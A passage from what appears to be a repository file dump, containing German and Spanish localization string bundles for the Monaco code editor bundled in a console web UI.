Eigenschaft stimmt mit dem Eigenschaftsmuster \\'\\\\\\\\[.*\\\\\\\\]$\\' zum Beschreiben sprachspezifischer Editor-Einstellungen überein. Verwenden Sie den Beitrag \"configurationDefaults\".','\"{0}\" kann nicht registriert werden. Diese Eigenschaft ist bereits registriert.'],\"vs/platform/keybinding/common/abstractKeybindingService\":[\"({0}) wurde gedrückt. Es wird auf die zweite Taste der Kombination gewartet...\",\"Die Tastenkombination ({0}, {1}) ist kein Befehl.\"],\"vs/platform/message/common/message\":[\"Schließen\",\"Später\",\"Abbrechen\"],\"vs/platform/theme/common/colorRegistry\":[\"Ungültiges Farbformat. Verwenden Sie #RGB, #RGBA, #RRGGBB oder #RRGGBBAA.\",\"In der Workbench verwendete Farben.\",\"Allgemeine Vordergrundfarbe. Diese Farbe wird nur verwendet, wenn sie nicht durch eine Komponente überschrieben wird.\",\"Allgemeine Vordergrundfarbe. Diese Farbe wird nur verwendet, wenn sie nicht durch eine Komponente überschrieben wird.\",\"Vordergrundfarbe für Beschreibungstexte, die weitere Informationen anzeigen, z. B. für ein Label.\",\"Allgemeine Rahmenfarbe für fokussierte Elemente. Diese Farbe wird nur verwendet, wenn sie nicht durch eine Komponente überschrieben wird.\",\"Ein zusätzlicher Rahmen um Elemente, mit dem diese von anderen getrennt werden, um einen größeren Kontrast zu erreichen.\",\"Ein zusätzlicher Rahmen um aktive Elemente, mit dem diese von anderen getrennt werden, um einen größeren Kontrast zu erreichen.\",\"Hintergrundfarbe der Textauswahl in der Workbench (z. B. für Eingabefelder oder Textbereiche). Diese Farbe gilt nicht für die Auswahl im Editor. \",\"Farbe für Text-Trennzeichen.\",\"Vordergrundfarbe für Links im Text.\",\"Vordergrundfarbe für aktive Links im Text.\",\"Vordergrundfarbe für vorformatierte Textsegmente.\",\"Hintergrundfarbe für block quotes im Text.\",\"Rahmenfarbe für block quotes im Text.\",\"Hintergrundfarbe für Code-Blöcke im Text.\",\"Schattenfarbe von Widgets wie zum Beispiel Suchen/Ersetzen innerhalb des Editors.\",\"Hintergrund für Eingabefeld.\",\"Vordergrund für Eingabefeld.\",\"Rahmen für Eingabefeld.\",\"Rahmenfarbe für aktivierte Optionen in Eingabefeldern.\",\"Input box - Vordergrundfarbe für Platzhalter-Text.\",\"Hintergrundfarbe bei der Eingabevalidierung für den Schweregrad der Information.\",\"Rahmenfarbe bei der Eingabevalidierung für den Schweregrad der Information.\",\"Hintergrundfarbe bei der Eingabevalidierung für eine Warnung zur Information.\",\"Rahmenfarbe bei der Eingabevalidierung für den Schweregrad der Warnung.\",\"Hintergrundfarbe bei der Eingabevalidierung für den Schweregrad des Fehlers.\",\"Rahmenfarbe bei der Eingabevalidierung für den Schweregrad des Fehlers.\",\"Hintergrund für Dropdown.\",\"Vordergrund für Dropdown.\",\"Rahmen für Dropdown.\",\"Hintergrundfarbe der Liste/Struktur für das fokussierte Element, wenn die Liste/Struktur aktiv ist. Eine aktive Liste/Struktur hat Tastaturfokus, eine inaktive hingegen nicht.\",\"Vordergrundfarbe der Liste/Struktur für das fokussierte Element, wenn die Liste/Struktur aktiv ist. Eine aktive Liste/Struktur hat Tastaturfokus, eine inaktive hingegen nicht.\",\"Hintergrundfarbe der Liste/Struktur für das ausgewählte Element, wenn die Liste/Struktur aktiv ist. Eine aktive Liste/Struktur hat Tastaturfokus, eine inaktive hingegen nicht.\",\"Vordergrundfarbe der Liste/Struktur für das ausgewählte Element, wenn die Liste/Struktur aktiv ist. Eine aktive Liste/Struktur hat Tastaturfokus, eine inaktive hingegen nicht.\",\"Hintergrundfarbe der Liste/Struktur für das ausgewählte Element, wenn die Liste/Struktur inaktiv ist. Eine aktive Liste/Struktur hat Tastaturfokus, eine inaktive hingegen nicht.\",\"Liste/Baumstruktur - Vordergrundfarbe für das ausgewählte Element, wenn die Liste/Baumstruktur inaktiv ist. Eine aktive Liste/Baumstruktur hat Tastaturfokus, eine inaktive hingegen nicht.\",\"Hintergrundfarbe der Liste/Struktur für das ausgewählte Element, wenn die Liste/Struktur inaktiv ist. Eine aktive Liste/Struktur hat Tastaturfokus, eine inaktive hingegen nicht.\",\"Liste/Baumstruktur - Vordergrundfarbe für das ausgewählte Element, wenn die Liste/Baumstruktur inaktiv ist. Eine aktive Liste/Baumstruktur hat Tastaturfokus, eine inaktive hingegen nicht.\",\"Hintergrund der Liste/Struktur, wenn mit der Maus auf Elemente gezeigt wird.\",\"Vordergrund der Liste/Struktur, wenn mit der Maus auf Elemente gezeigt wird.\",\"Drag & Drop-Hintergrund der Liste/Struktur, wenn Elemente mithilfe der Maus verschoben werden.\",\"Vordergrundfarbe der Liste/Struktur zur Trefferhervorhebung beim Suchen innerhalb der Liste/Struktur.\",\"Schnellauswahlfarbe für das Gruppieren von Bezeichnungen.\",\"Schnellauswahlfarbe für das Gruppieren von Rahmen.\",\"Vordergrundfarbe der Schaltfläche.\",\"Hintergrundfarbe der Schaltfläche.\",\"Hintergrundfarbe der Schaltfläche, wenn darauf gezeigt wird.\",\"Badge - Hintergrundfarbe. Badges sind kurze Info-Texte, z. B. für Anzahl Suchergebnisse.\",\"Badge - Vordergrundfarbe. Badges sind kurze Info-Texte, z. B. für Anzahl Suchergebnisse.\",\"Schatten der Scrollleiste, um anzuzeigen, dass die Ansicht gescrollt wird.\",\"Hintergrundfarbe vom Scrollbar-Schieber\",\"Hintergrundfarbe des Schiebereglers, wenn darauf gezeigt wird.\",\"Hintergrundfarbe des Schiebereglers, wenn dieser aktiv ist.\",\"Hintergrundfarbe des Fortschrittbalkens, der für lang ausgeführte Vorgänge angezeigt werden kann.\",\"Hintergrundfarbe des Editors.\",\"Standardvordergrundfarbe des Editors.\",\"Hintergrundfarbe von Editor-Widgets wie zum Beispiel Suchen/Ersetzen.\",\"Rahmenfarbe von Editorwigdets. Die Farbe wird nur verwendet, wenn für das Widget ein Rahmen verwendet wird und die Farbe nicht von einem Widget überschrieben wird.\",\"Farbe der Editor-Auswahl.\",\"Farbe des gewählten Text für einen hohen Kontrast\",\"Farbe der Auswahl in einem inaktiven Editor.\",\"Farbe für Bereiche, deren Inhalt der Auswahl entspricht.\",\"Farbe des aktuellen Suchergebnisses.\",\"Farbe der anderen Suchtreffer.\",\"Farbe des Bereichs zur Einschränkung der Suche.\",\"Hervorhebung eines Worts, unter dem ein Mauszeiger angezeigt wird.\",\"Background color of the editor hover.\",\"Rahmenfarbe des Editor-Mauszeigers.\",\"Farbe der aktiven Links.\",\"Hintergrundfarbe für eingefügten Text.\",\"Hintergrundfarbe für entfernten Text.\",\"Konturfarbe für eingefügten Text.\",\"Konturfarbe für entfernten Text.\",\"Aktueller Kopfzeilenhintergrund in Inline-Mergingkonflikten.\",\"Aktueller Inhaltshintergrund in Inline-Mergingkonflikten.\",\"Eingehender Kopfzeilenhintergrund in Inline-Mergingkonflikten. \",\"Eingehender Inhaltshintergrund in Inline-Mergingkonflikten.\",\"Kopfzeilenhintergrund des gemeinsamen übergeordneten Elements bei Inlinezusammenführungskonflikten. \",\"Inhaltshintergrund des gemeinsamen übergeordneten Elements bei Inlinezusammenführungskonflikten.\",\"Rahmenfarbe für Kopfzeilen und die Aufteilung in Inline-Mergingkonflikten.\",\"Aktueller Übersichtslineal-Vordergrund für Inline-Mergingkonflikte.\",\"Eingehender Übersichtslineal-Vordergrund für Inline-Mergingkonflikte. \",\"Hintergrund des Übersichtslineals des gemeinsamen übergeordneten Elements bei Inlinezusammenführungskonflikten.\"]});\n//# sourceMappingURL=../../../min-maps/vs/editor/editor.main.nls.de.js.map\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.nls.es.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\ndefine(\"vs/editor/editor.main.nls.es\",{\"vs/base/browser/ui/actionbar/actionbar\":[\"{0} ({1})\"],\"vs/base/browser/ui/aria/aria\":[\"{0} (ocurrió de nuevo)\"],\"vs/base/browser/ui/findinput/findInput\":[\"entrada\"],\"vs/base/browser/ui/findinput/findInputCheckboxes\":[\"Coincidir mayúsculas y minúsculas\",\"Solo palabras completas\",\"Usar expresión regular\"],\"vs/base/browser/ui/inputbox/inputBox\":[\"Error: {0}\",\"Advertencia: {0}\",\"Información: {0}\"],\"vs/base/common/keybindingLabels\":[\"Ctrl\",\"Mayús\",\"Alt\",\"Windows\",\"Control\",\"Mayús\",\"Alt\",\"Comando\",\"Control\",\"Mayús\",\"Alt\",\"Windows\"],\"vs/base/common/severity\":[\"Error\",\"Advertencia\",\"Información\"],\"vs/base/parts/quickopen/browser/quickOpenModel\":[\"{0}, selector\",\"selector\"],\"vs/base/parts/quickopen/browser/quickOpenWidget\":[\"Selector rápido. Escriba para restringir los resultados.\",\"Selector rápido\"],\"vs/base/parts/tree/browser/treeDefaults\":[\"Contraer\"],\"vs/editor/browser/widget/diffEditorWidget\":[\"Los archivos no se pueden comparar porque uno de ellos es demasiado grande.\"],\"vs/editor/browser/widget/diffReview\":[\"Cerrar\",\"Diferencia {0} de {1}: original {2}, {3} líneas, modificado {4}, {5} líneas\",\"vacío\",\"original {0}, modificado {1}: {2}\",\"+ modificado {0}: {1}\",\"- original {0}: {1}\",\"Ir a la siguiente diferencia\",\"Ir a la diferencia anterior\"],\"vs/editor/common/config/commonEditorConfig\":[\"Editor\",\"Controla la familia de fuentes.\",\"Controla el grosor de la fuente.\",\"Controla el tamaño de fuente en píxeles.\",\"Controla la altura de línea. Utilice 0 para calcular el valor de lineHeight a partir de fontSize.\",\"Controla el espacio entre letras en pixels.\",'Controla la presentación de los números de línea. Los valores posibles son \"on\", \"off\" y \"relative\". \"relative\" muestra el número de líneas desde la posición actual del cursor.',\"Columnas en las que mostrar reglas verticales\",\"Caracteres que se usarán como separadores de palabras al realizar operaciones o navegaciones relacionadas con palabras.\",\"El número de espacios a los que equivale una tabulación. Este valor se invalida según el contenido del archivo cuando `editor.detectIndentation` está activado.\",'Se esperaba \"number\". Tenga en cuenta que el ajuste \"editor.detectIndentation\" ha reemplazado al valor \"auto\".','Insertar espacios al presionar TAB. Este valor se invalida en función del contenido del archivo cuando \"editor.detectIndentation\" está activado.','Se esperaba \"boolean\". Tenga en cuenta que el ajuste \"editor.detectIndentation\" ha reemplazado al valor \"auto\".',\"Al abrir un archivo, se detectarán `editor.tabSize` y `editor.insertSpaces` en función del contenido del archivo.\",\"Controla si las selecciones tienen esquinas redondeadas\",\"Controla si el editor se seguirá desplazando después de la última línea\",\"Controla si se muestra el minimapa\",\"Controla si el control deslizante del minimapa es ocultado automáticamente.\",\"Presentar los caracteres reales en una línea (por oposición a bloques de color)\",\"Limitar el ancho del minimapa para presentar como mucho un número de columnas determinado\",\"Controla si se inicializa la cadena de búsqueda en Buscar widget en la selección del editor\",\"Controla si el indicador Buscar en selección se activa cuando se seleccionan varios caracteres o líneas de texto en el editor\",\"Las líneas no se ajustarán nunca.\",\"Las líneas se ajustarán en el ancho de la ventanilla.\",'Las líneas se ajustarán en \"editor.wordWrapColumn\".','Las líneas se ajustarán al valor que sea inferior: el tamaño de la ventanilla o el valor de \"editor.wordWrapColumn\".','Controla cómo se deben ajustar las líneas. Pueden ser:\\n - \"off\" (deshabilitar ajuste),\\n - \"on\" (ajuste de ventanilla),\\n - \"wordWrapColumn\" (ajustar en \"editor.wordWrapColumn\") o\\n - \"bounded\" (ajustar en la parte mínima de la ventanilla y \"editor.wordWrapColumn\").',\"Controls the wrapping column of the editor when `editor.wordWrap` is 'wordWrapColumn' or 'bounded'.\",\"Controla el sangrado de las líneas ajustadas. Puede ser uno los valores 'none', 'same' o 'indent'.\",\"Se utilizará un multiplicador en los eventos de desplazamiento de la rueda del mouse `deltaX` y `deltaY`\",'Se asigna a \"Control\" en Windows y Linux y a \"Comando\" en OSX.','Se asigna a \"Alt\" en Windows y Linux y a \"Opción\" en OSX.','El modificador que se usará para agregar varios cursores con el mouse. \"ctrlCmd\" se asigna a \"Control\" en Windows y Linux y a \"Comando\" en OSX. Los gestos del mouse Ir a la definición y Abrir vínculo se adaptarán de modo que no entren en conflicto con el modificador multicursor.',\"Habilita sugerencias rápidas en las cadenas.\",\"Habilita sugerencias rápidas en los comentarios.\",\"Habilita sugerencias rápidas fuera de las cadenas y los comentarios.\",\"Controla si las sugerencias deben mostrarse automáticamente mientras se escribe\",\"Controla el retardo en ms tras el cual aparecerán sugerencias rápidas\",\"Habilita el desplegable que muestra documentación de los parámetros e información de los tipos mientras escribe\",\"Controla si el editor debe cerrar automáticamente los corchetes después de abrirlos\",\"Controla si el editor debe dar formato automáticamente a la línea después de escribirla\",\"Controla si el editor debe formatear automáticamente el contenido pegado. Debe haber disponible un formateador capaz de aplicar formato a un intervalo dentro de un documento.\",\"Controla si el editor debería ajustar automáticamente la sangría cuando los usuarios escriben, pegan o mueven líneas. Las reglas de sangría del idioma deben estar disponibles.\",\"Controla si las sugerencias deben aparecer de forma automática al escribir caracteres desencadenadores\",'Controla si las sugerencias deben aceptarse en \"Entrar\" (además de \"TAB\"). Ayuda a evitar la ambigüedad entre insertar nuevas líneas o aceptar sugerencias. El valor \"smart\" significa que solo se acepta una sugerencia con Entrar cuando se realiza un cambio textual.','Controla si se deben aceptar sugerencias en los caracteres de confirmación. Por ejemplo, en Javascript, el punto y coma (\";\") puede ser un carácter de confirmación que acepta una sugerencia y escribe ese carácter.',\"Mostrar sugerencias de fragmentos de código por encima de otras sugerencias.\",\"Mostrar sugerencias de fragmentos de código por debajo de otras sugerencias.\",\"Mostrar sugerencias de fragmentos de código con otras sugerencias.\",\"No mostrar sugerencias de fragmentos de código.\",\"Controla si se muestran los fragmentos de código con otras sugerencias y cómo se ordenan.\",\"Controla si al copiar sin selección se copia la línea actual.\",\"Habilita sugerencias basadas en palabras.\",\"Tamaño de fuente para el widget de sugerencias\",\"Alto de línea para el widget de sugerencias\",\"Controla si el editor debería destacar coincidencias similares a la selección\",\"Controla si el editor debe resaltar los símbolos semánticos.\",\"Controla el número de decoraciones que pueden aparecer en la misma posición en la regla de visión general\",\"Controla si debe dibujarse un borde alrededor de la regla de información general.\",'Controlar el estilo de animación del cursor. Los valores posibles son \"blink\", \"smooth\", \"phase\", \"expand\" y \"solid\".',\"Ampliar la fuente del editor cuando se use la rueda del mouse mientras se presiona Ctrl\",'Controla el estilo del cursor. Los valores aceptados son \"block\", \"block-outline\", \"line\", \"line-thin\", \"underline\" y \"underline-thin\"',\"Habilita las ligaduras tipográficas.\",\"Controla si el cursor debe ocultarse en la regla de visión general.\",'Controla cómo debe representar el editor los espacios en blanco. Las posibilidades son \"none\", \"boundary\" y \"all\". La opción \"boundary\" no representa los espacios individuales entre palabras.',\"Controla si el editor debe representar caracteres de control\",\"Controla si el editor debe representar guías de sangría.\",'Controla cómo el editor debe presentar el resaltado de línea. Las posibilidades son \"ninguno\", \"margen\", \"línea\" y \"todo\".',\"Controla si el editor muestra lentes de código\",\"Controla si el editor tiene habilitado el plegado de código.\",\"Controla cuándo los controles de plegado del margen son ocultados automáticamente.\",\"Resaltar corchetes coincidentes cuando se seleccione uno de ellos.\",\"Controla si el editor debe representar el margen de glifo vertical. El margen de glifo se usa, principalmente, para depuración.\",\"La inserción y eliminación del espacio en blanco sigue a las tabulaciones.\",\"Quitar espacio en blanco final autoinsertado\",\"Mantiene abierto el editor interactivo incluso al hacer doble clic en su contenido o presionar Escape.\",\"Controla si el editor debe permitir mover selecciones mediante arrastrar y colocar.\",\"El editor usará API de plataforma para detectar cuándo está conectado un lector de pantalla.\",\"El editor se optimizará de forma permanente para su uso con un editor de pantalla.\",\"El editor nunca se optimizará para su uso con un lector de pantalla.\",\"Controla si el editor se debe ejecutar en un modo optimizado para lectores de pantalla.\",\"Controla si el editor debe detectar enlaces y hacerlos cliqueables\",\"Controla si el editor de diferencias muestra las diferencias en paralelo o alineadas.\",\"Controla si el editor de diferencias muestra los cambios de espacio inicial o espacio final como diferencias.\",\"Controla si el editor de diff muestra indicadores +/- para cambios agregados/quitados\",\"Controla si el portapapeles principal de Linux debe admitirse.\"],\"vs/editor/common/config/editorOptions\":[\"No se puede acceder al editor en este momento. Presione Alt+F1 para ver opciones.\",\"Contenido del editor\"],\"vs/editor/common/controller/cursor\":[\"Excepción inesperada al ejecutar el comando.\"],\"vs/editor/common/model/textModelWithTokens\":[\"Error en el modo al convertir la entrada en tokens.\"],\"vs/editor/common/modes/modesRegistry\":[\"Texto sin formato\"],\"vs/editor/common/services/bulkEdit\":[\"Estos archivos han cambiado durante el proceso: {0}\",\"No se realizaron ediciones\",\"{0} ediciones de texto en {1} archivos\",\"{0} ediciones de texto en un archivo\"],\"vs/editor/common/services/modelServiceImpl\":[\"[{0}]\\n{1}\",\"[{0}] {1}\"],\"vs/editor/common/view/editorColorRegistry\":[\"Color de fondo del resaltado de línea en la posición del cursor.\",\"Color de fondo del borde alrededor de la línea en la posición del cursor.\",\"Color de fondo de los intervalos resaltados; por ejemplo, para Apertura Rápida y Buscar.\",\"Color del cursor del editor.\",\"Color de fondo del cursor de edición. Permite personalizar el color del carácter solapado por el bloque del cursor.\",\"Color de los caracteres de espacio en blanco del editor.\",\"Color de las guías de sangría del editor.\",\"Color de números de línea del editor.\",\"Color de las reglas del editor\",\"Color principal de lentes de código en el editor\",\"Color de fondo tras corchetes coincidentes\",\"Color de bloques con corchetes coincidentes\",\"Color del borde de la regla de visión general.\",\"Color de fondo del margen del editor. Este espacio contiene los márgenes de glifos y los números de línea.\",\"Color de primer plano de squigglies de error en el editor.\",\"Color de borde de squigglies de error en el editor.\",\"Color de primer plano de squigglies de advertencia en el editor.\",\"Color de borde de squigglies de advertencia en el editor.\"],\"vs/editor/contrib/bracketMatching/common/bracketMatching\":[\"Ir al corchete\"],\"vs/editor/contrib/caretOperations/common/caretOperations\":[\"Mover símbolo de inserción a la izquierda\",\"Mover símbolo de inserción a la derecha\"],\"vs/editor/contrib/caretOperations/common/transpose\":[\"Transponer letras\"],\"vs/editor/contrib/clipboard/browser/clipboard\":[\"Cortar\",\"Copiar\",\"Pegar\",\"Copiar con resaltado de sintaxis\"],\"vs/editor/contrib/comment/common/comment\":[\"Alternar comentario de línea\",\"Agregar comentario de línea\",\"Quitar comentario de línea\",\"Alternar comentario de bloque\"],\"vs/editor/contrib/contextmenu/browser/contextmenu\":[\"Mostrar menú contextual del editor\"],\"vs/editor/contrib/find/browser/findWidget\":[\"Buscar\",\"Buscar\",\"Coincidencia anterior\",\"Coincidencia siguiente\",\"Buscar en selección\",\"Cerrar\",\"Reemplazar\",\"Reemplazar\",\"Reemplazar\",\"Reemplazar todo\",\"Alternar modo de reemplazar\",\"Solo se resaltan los primeros 999 resultados, pero todas las operaciones de búsqueda trabajan en todo el texto.\",\"{0} de {1}\",\"Sin resultados\"],\"vs/editor/contrib/find/common/findController\":[\"Buscar\",\"Buscar siguiente\",\"Buscar anterior\",\"Buscar selección siguiente\",\"Buscar selección anterior\",\"Reemplazar\",\"Agregar selección hasta la siguiente coincidencia de búsqueda\",\"Agregar selección hasta la anterior coincidencia de búsqueda\",\"Mover última selección hasta la siguiente coincidencia de búsqueda\",\"Mover última selección hasta la anterior coincidencia de búsqueda\",\"Seleccionar todas las repeticiones de coincidencia de búsqueda\",\"Cambiar todas las ocurrencias\",\"Mostrar el siguiente término de búsqueda\",\"Mostrar término de búsqueda anterior\"],\"vs/editor/contrib/folding/browser/folding\":[\"Desplegar\",\"Desplegar de forma recursiva\",\"Plegar\",\"Plegar de forma recursiva\",\"Plegar todo\",\"Desplegar todo\",\"Nivel de plegamiento {0}\"],\"vs/editor/contrib/format/browser/formatActions\":[\"1 edición de formato en la línea {0}\",\"{0} ediciones de formato en la línea {1}\",\"1 edición de formato entre las líneas {0} y {1}\",\"{0} ediciones de formato entre las líneas {1} y {2}\",\"Dar formato al documento\",\"Dar formato a la selección\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\":['No se encontró ninguna definición para \"{0}\"',\"No se encontró ninguna definición\",\" – {0} definiciones\",\"Ir a definición\",\"Abrir definición en el lateral\",\"Ver la definición\",'No se encontró ninguna implementación para \"{0}\"',\"No se encontró ninguna implementación\",\"{0} implementaciones\",\"Ir a implementación\",\"Inspeccionar implementación\",'No se encontró ninguna definición de tipo para \"{0}\"',\"No se encontró ninguna definición de tipo\",\" – {0} definiciones de tipo\",\"Ir a la definición de tipo\",\"Inspeccionar definición de tipo\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\":[\"Haga clic para mostrar {0} definiciones.\"],\"vs/editor/contrib/gotoError/browser/gotoError\":[\"({0}/{1})\",\"Ir al error o la advertencia siguiente\",\"Ir al error o la advertencia anterior\",\"Color de los errores del widget de navegación de marcadores del editor.\",\"Color de las advertencias del widget de navegación de marcadores del editor.\",\"Fondo del widget de navegación de marcadores del editor.\"],\"vs/editor/contrib/hover/browser/hover\":[\"Mostrar al mantener el puntero\"],\"vs/editor/contrib/hover/browser/modesContentHover\":[\"Cargando...\"],\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\":[\"Reemplazar con el valor anterior\",\"Reemplazar con el valor siguiente\"],\"vs/editor/contrib/linesOperations/common/linesOperations\":[\"Copiar línea arriba\",\"Copiar línea abajo\",\"Mover línea hacia arriba\",\"Mover línea hacia abajo\",\"Ordenar líneas en orden ascendente\",\"Ordenar líneas en orden descendente\",\"Recortar espacio final\",\"Eliminar línea\",\"Sangría de línea\",\"Anular sangría de línea\",\"Insertar línea arriba\",\"Insertar línea debajo\",\"Eliminar todo a la izquierda\",\"Eliminar todo lo que está a la derecha\",\"Unir líneas\",\"Transponer caracteres alrededor del cursor\",\"Transformar a mayúsculas\",\"Transformar a minúsculas\"],\"vs/editor/contrib/links/browser/links\":[\"Cmd + clic para abrir el vínculo\",\"Ctrl + clic para abrir el vínculo\",\"CMD + click para ejecutar el comando\",\"Ctrl + click para ejecutar el comando\",\"Alt + clic para seguir el vínculo\",\"Alt + clic para ejecutar el comando\",\"No se pudo abrir este vínculo porque no tiene un formato correcto: {0}\",\"No se pudo abrir este vínculo porque falta el destino.\",\"Abrir vínculo\"],\"vs/editor/contrib/multicursor/common/multicursor\":[\"Agregar cursor arriba\",\"Agregar cursor debajo\",\"Añadir cursores a finales de línea\"],\"vs/editor/contrib/parameterHints/browser/parameterHints\":[\"Sugerencias para parámetros Trigger\"],\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\":[\"{0}, sugerencia\"],\"vs/editor/contrib/quickFix/browser/quickFixCommands\":[\"Mostrar correcciones ({0})\",\"Mostrar correcciones\",\"Corrección rápida\"],\"vs/editor/contrib/referenceSearch/browser/referenceSearch\":[\" – {0} referencias\",\"Buscar todas las referencias\"],\"vs/editor/contrib/referenceSearch/browser/referencesController\":[\"Cargando...\"],\"vs/editor/contrib/referenceSearch/browser/referencesModel\":[\"símbolo en {0} linea {1} en la columna {2}\",\"1 símbolo en {0}, ruta de acceso completa {1}\",\"{0} símbolos en {1}, ruta de acceso completa {2}\",\"No se encontraron resultados\",\"Encontró 1 símbolo en {0}\",\"Encontró {0} símbolos en {1}\",\"Encontró {0} símbolos en {1} archivos\"],\"vs/editor/contrib/referenceSearch/browser/referencesWidget\":[\"Error al resolver el archivo.\",\"{0} referencias\",\"{0} referencia\",\"vista previa no disponible\",\"Referencias\",\"No hay resultados.\",\"Referencias\",\"Color de fondo del área de título de la vista de inspección.\",\"Color del título de la vista de inpección.\",\"Color de la información del título de la vista de inspección.\",\"Color de los bordes y la flecha de la vista de inspección.\",\"Color de fondo de la lista de resultados de vista de inspección.\",\"Color de primer plano de los nodos de inspección en la lista de resultados.\",\"Color de primer plano de los archivos de inspección en la lista de resultados.\",\"Color de fondo de la entrada seleccionada en la lista de resultados de vista de inspección.\",\"Color de primer plano de la entrada seleccionada en la lista de resultados de vista de inspección.\",\"Color de fondo del editor de vista de inspección.\",\"Color de fondo del margen en el editor de vista de inspección.\",\"Buscar coincidencia con el color de resaltado de la lista de resultados de vista de inspección.\",\"Buscar coincidencia del color de resultado del editor de vista de inspección.\"],\"vs/editor/contrib/rename/browser/rename\":[\"No hay ningún resultado.\",\"Nombre cambiado correctamente de '{0}' a '{1}'. Resumen: {2}\",\"No se pudo cambiar el nombre.\",\"Cambiar el nombre del símbolo\"],\"vs/editor/contrib/rename/browser/renameInputField\":[\"Cambie el nombre de la entrada. Escriba el nuevo nombre y presione Entrar para confirmar.\"],\"vs/editor/contrib/smartSelect/common/smartSelect\":[\"Expandir selección\",\"Reducir selección\"],\"vs/editor/contrib/suggest/browser/suggestController\":[\"Aceptando '{0}' Insertó el siguente texto : {1}\",\"Sugerencias para Trigger\"],\"vs/editor/contrib/suggest/browser/suggestWidget\":[\"Color de fondo del widget sugerido.\",\"Color de borde del widget sugerido.\",\"Color de primer plano del widget sugerido.\",\"Color de fondo de la entrada seleccionada del widget sugerido.\",\"Color del resaltado coincidido en el widget sugerido.\",\"Leer más...{0}\",\"{0}, sugerencia, con detalles\",\"{0}, sugerencia\",\"Leer menos...{0}\",\"Cargando...\",\"No hay sugerencias.\",\"{0}, aceptada\",\"{0}, sugerencia, con detalles\",\"{0}, sugerencia\"],\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\":[\"Alternar tecla de tabulación para mover el punto de atención\"],\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\":[\"Color de fondo de un símbolo durante el acceso de lectura; por ejemplo, cuando se lee una variable.\",\"Color de fondo de un símbolo durante el acceso de escritura; por ejemplo, cuando se escribe una variable.\"],\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\":[\"Cerrar\"],\"vs/editor/standalone/browser/inspectTokens/inspectTokens\":[\"Developer: Inspect Tokens\"],\"vs/editor/standalone/browser/quickOpen/gotoLine\":[\"Go to line {0} and character {1}\",\"Go to line {0}\",\"Type a line number between 1 and {0} to navigate to\",\"Type a character between 1 and {0} to navigate to\",\"Go to line {0}\",\"Type a line number, followed by an optional colon and a character number to navigate to\",\"Go to Line...\"],\"vs/editor/standalone/browser/quickOpen/quickCommand\":[\"{0}, commands\",\"Type the name of an action you want to execute\",\"Command Palette\"],\"vs/editor/standalone/browser/quickOpen/quickOutline\":[\"{0}, symbols\",\"Type the name of an identifier you wish to navigate to\",\"Go to Symbol...\",\"symbols ({0})\",\"modules ({0})\",\"classes ({0})\",\"interfaces ({0})\",\"methods ({0})\",\"functions ({0})\",\"properties ({0})\",\"variables ({0})\",\"variables ({0})\",\"constructors ({0})\",\"calls ({0})\"],\"vs/editor/standalone/browser/standaloneCodeEditor\":[\"Editor content\",\"Press Ctrl+F1 for Accessibility Options.\",\"Press Alt+F1 for Accessibility Options.\"],\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\":[\"Toggle High Contrast Theme\"],\"vs/platform/configuration/common/configurationRegistry\":[\"La configuración predeterminada se reemplaza\",\"Establecer los valores de configuración que se reemplazarán para el lenguaje {0}.\",\"Establecer los valores de configuración que se reemplazarán para un lenguaje.\",'No se puede registrar \"{0}\". Coincide con el patrón de propiedad \\'\\\\\\\\[.*\\\\\\\\]$\\' para describir la configuración del editor específica del lenguaje. Utilice la contribución \"configurationDefaults\".','No se puede registrar \"{0}\". Esta propiedad ya está registrada.'],\"vs/platform/keybinding/common/abstractKeybindingService\":[\"Se presionó ({0}). Esperando la siguiente tecla...\",\"La combinación de teclas ({0}, {1}) no es ningún comando.\"],\"vs/platform/message/common/message\":[\"Cerrar\",\"Más tarde\",\"Cancelar\"],\"vs/platform/theme/common/colorRegistry\":[\"Formato de color no válido. Use #TGB, #RBGA, #RRGGBB o #RRGGBBAA\",\"Colores usados en el área de trabajo.\",\"Color de primer plano general. Este color solo se usa si un componente no lo invalida.\",\"Color de primer plano general para los mensajes de erroe. Este color solo se usa si un componente no lo invalida.\",\"Color de primer plano para el texto descriptivo que proporciona información adicional, por ejemplo para una etiqueta.\",\"Color de borde de los elementos con foco. Este color solo se usa si un componente no lo invalida.\",\"Un borde adicional alrededor de los elementos para separarlos unos de otros y así mejorar el contraste.\",\"Un borde adicional alrededor de los elementos activos para separarlos unos de otros y así mejorar el contraste.\",\"El color de fondo del texto seleccionado en el área de trabajo (por ejemplo, campos de entrada o áreas de texto). Esto no se aplica a las selecciones dentro del editor.\",\"Color para los separadores de texto.\",\"Color de primer plano para los vínculos en el texto.\",\"Color de primer plano para los vínculos activos en el texto.\",\"Color de primer plano para los segmentos de texto con formato previo.\",\"Color de fondo para los bloques en texto.\",\"Color de borde para los bloques en texto.\",\"Color de fondo para los bloques de código en el texto.\",\"Color de sombra de los widgets  dentro del editor, como buscar/reemplazar\",\"Fondo de cuadro de entrada.\",\"Primer plano de cuadro de entrada.\",\"Borde de cuadro de entrada.\",\"Color de borde de opciones activadas en campos de entrada.\",\"Color de primer plano para el marcador de posición de texto\",\"Color de fondo de validación de entrada para gravedad de información.\",\"Color de borde de validación de entrada para gravedad de información.\",\"Color de fondo de validación de entrada para advertencia de información.\",\"Color de borde de validación de entrada para gravedad de advertencia.\",\"Color de fondo de validación de entrada para gravedad de error.\",\"Color de borde de valdación de entrada para gravedad de error.\",\"Fondo de lista desplegable.\",\"Primer plano de lista desplegable.\",\"Borde de lista desplegable.\",\"Color de fondo de la lista o el árbol del elemento con el foco cuando la lista o el árbol están activos. Una lista o un árbol tienen 